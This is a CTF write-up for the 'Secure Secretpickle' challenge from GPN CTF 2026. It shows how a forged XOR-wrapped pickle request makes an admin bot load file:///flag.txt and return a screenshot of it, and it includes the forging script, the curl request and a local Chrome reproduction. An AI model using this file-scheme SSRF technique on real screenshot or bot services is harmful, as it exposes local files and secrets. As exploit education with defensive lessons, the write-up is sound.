GPN CTF 2026 — Secure Secretpickle Writeup
Pickle RCE is sandboxed and the client HTML is sanitized, so the flag comes from the admin bot instead: it visits any URL you hand it, including file:///flag.txt, and returns the screenshot.
GPN CTF 2026 — Secure Secretpickle
A restaurant-themed demo built on a homemade "encrypted" serialization format. The author took the classic untrusted-pickle footgun and wrapped it in two defenses that are meant to look bulletproof. They hold. The flag still leaks — because the admin bot will happily visit file:///flag.txt and hand you back the screenshot.
Scope: local reproduction only. The challenge source is public in the CTF archive; nothing external was touched.
1. Source review
The format is Python pickle with a cosmetic layer. The "encryption" is a repeating XOR with a key that is a literal in the source — and the same file is served to the browser, so the key is not a secret:
# secretpickle.py
SECRETPICKLE_OBJECT_PREFIX = bytes.fromhex("8004 950000000000000000 7d 94 28")
SECRETPICKLE_XOR_KEY = bytes.fromhex("77c07f8fd2ae7ad9f5aabc008c79d0d3") # "128 random bits"secretpickle_dump = pickle.dumps minus the constant dict header, XOR, base64. secretpickle_load reverses it and calls a decoder. Whoever controls the bytes controls the pickle — on both sides of the wire.
The server is a single FastAPI endpoint:
# server.py
@app.post("/{b64:path}")
async def secretpickle_handle(request: Request, b64: str):
pl = secretpickle_load(b64, decoder=safe_pickle_load) # sandboxed unpickler
action = pl.get("action", pl.get("a"))
params = pl.get("params", pl.get("p", {}))
res = await action_handler(action, params, pl)
return secretpickle_dump(res)And the sandbox, safe_loader.py, runs the unpickle in a child process that may only write:
# safe_loader.py
f = seccomp.SyscallFilter(seccomp.KILL)
f.add_rule(seccomp.ALLOW, "write")
f.load()
data = pickle.loads(raw)
print(json.dumps(data), flush=True) # flattened to plain JSONThe bot registers and logs in as admin with the flag as the password, then visits whatever URL you sent:
# adminbot.py — visit()
await page.goto(action_url("register", username="admin", password=FLAG))
await page.goto(action_url("login", username="admin", password=FLAG))
await page.goto(action_url("whoami"))
await page.goto(url) # <-- attacker-controlled, no scheme check
screenshot = await page.screenshot(full_page=True)
return screenshot2. Why the two loud paths are closed
- Server-side pickle RCE. The seccomp filter is
KILLfor every syscall exceptwrite.openat,execve,forkandsocketare killed outright, so no__reduce__gadget can read a file or spawn a shell. Even if one returned,json.dumpsflattens the object to plain JSON before the parent sees it. - Client-side pickle RCE. The browser's
secretpickle_loaddoes use the defaultpickle.loads(Pyodide, no sandbox). But the response bytes are never attacker-controlled: the server only everdumpsa dict built from values you reflected, and a reflected string is data, not a gadget. - DOM XSS. The client passes every server-rendered result through
DOMPurify.sanitizewith the default configuration beforedocument.write, so reflected markup does not become script.
3. The bug: the bot trusts the URL scheme
The adminbot action needs no login and forwards your URL verbatim:
# server.py — action == "adminbot"
url = base64.b64decode(params["url"]).decode()
adminbot_url = f"http://{ADMINBOT_HOST}:{ADMINBOT_PORT}/visit?url={quote(url)}"The bot then calls await page.goto(url) with no allowlist. Chromium renders file:// URLs, so file:///flag.txt loads the bot host's own flag file as a page. The screenshot — and, in the bot's stdout, page.content() — come straight back. The flag never needs an RCE or an XSS: the browser on the bot host reads it for you.
4. Forging the request
The published secretpickle.py is enough to build the blob. Set action=adminbot and params.url to the base64 of the file URL:
import base64
from secretpickle import secretpickle_dump
target = "file:///flag.txt"
payload = {"action": "adminbot", "params": {"url": base64.b64encode(target.encode()).decode()}}
print(secretpickle_dump(payload))That prints the blob sent to the server as a single POST path segment:
+8Ye7KbHFbdhJrRh6BS5vRWvCxteqAq4h8vRcxgERF90tQ3jRiJig5jGz1rYFqafDvkS7ZXoFJWb+IhkzUTtRwS1UQ==curl -s -X POST 'http://APP/+8Ye7KbHFbdhJrRh6BS5vRWvCxteqAq4h8vRcxgERF90tQ3jRiJig5jGz1rYFqafDvkS7ZXoFJWb+IhkzUTtRwS1UQ=='The server builds and fetches:
http://BOT:3000/visit?url=file:///flag.txt5. Local reproduction
With no live instance, I reproduced the exact tail of visit() — page.goto(user_url) plus a screenshot — with headless Chrome over CDP, aimed at a local stand-in file:
cmd("Page.navigate", {"url": "file:///tmp/gpn-secretpickle/repro/flag.txt"})
print(cmd("Runtime.evaluate", {"expression": "document.body.innerText", "returnByValue": True}))
shot = cmd("Page.captureScreenshot", {"format": "png"}) # -> flag.pngOutput:
goto(url): file:///tmp/gpn-secretpickle/repro/flag.txt
adminbot page content: GPNCTF{l0c4l_r3pr0_fl4g_n0t_th3_r34l_0n3}
screenshot bytes: 6217 -> /tmp/gpn-secretpickle/repro/flag.pngThe PNG is 756×469 and contains the flag text. On the real instance the only difference is the path: the bot host's flag is /flag.txt, and the same page.goto reads it.
6. Flag and lessons
Local stand-in flag, read the same way the real one is:
GPNCTF{l0c4l_r3pr0_fl4g_n0t_th3_r34l_0n3}Lessons:
- A "visit this URL for me" feature is a URL fetcher, and a URL fetcher is an attack surface. Allowlist schemes (
https:only) and rejectfile:,gopher:,data:,javascript:. - Returning a screenshot converts blind SSRF into a read primitive. If the bot can render it, you can read it.
- The hard-looking defenses were real. Sandboxing the unpickler and sanitizing the DOM closed the obvious bugs — and the flag leaked through a third door that had nothing to do with either.
What do you think?
React to show your appreciation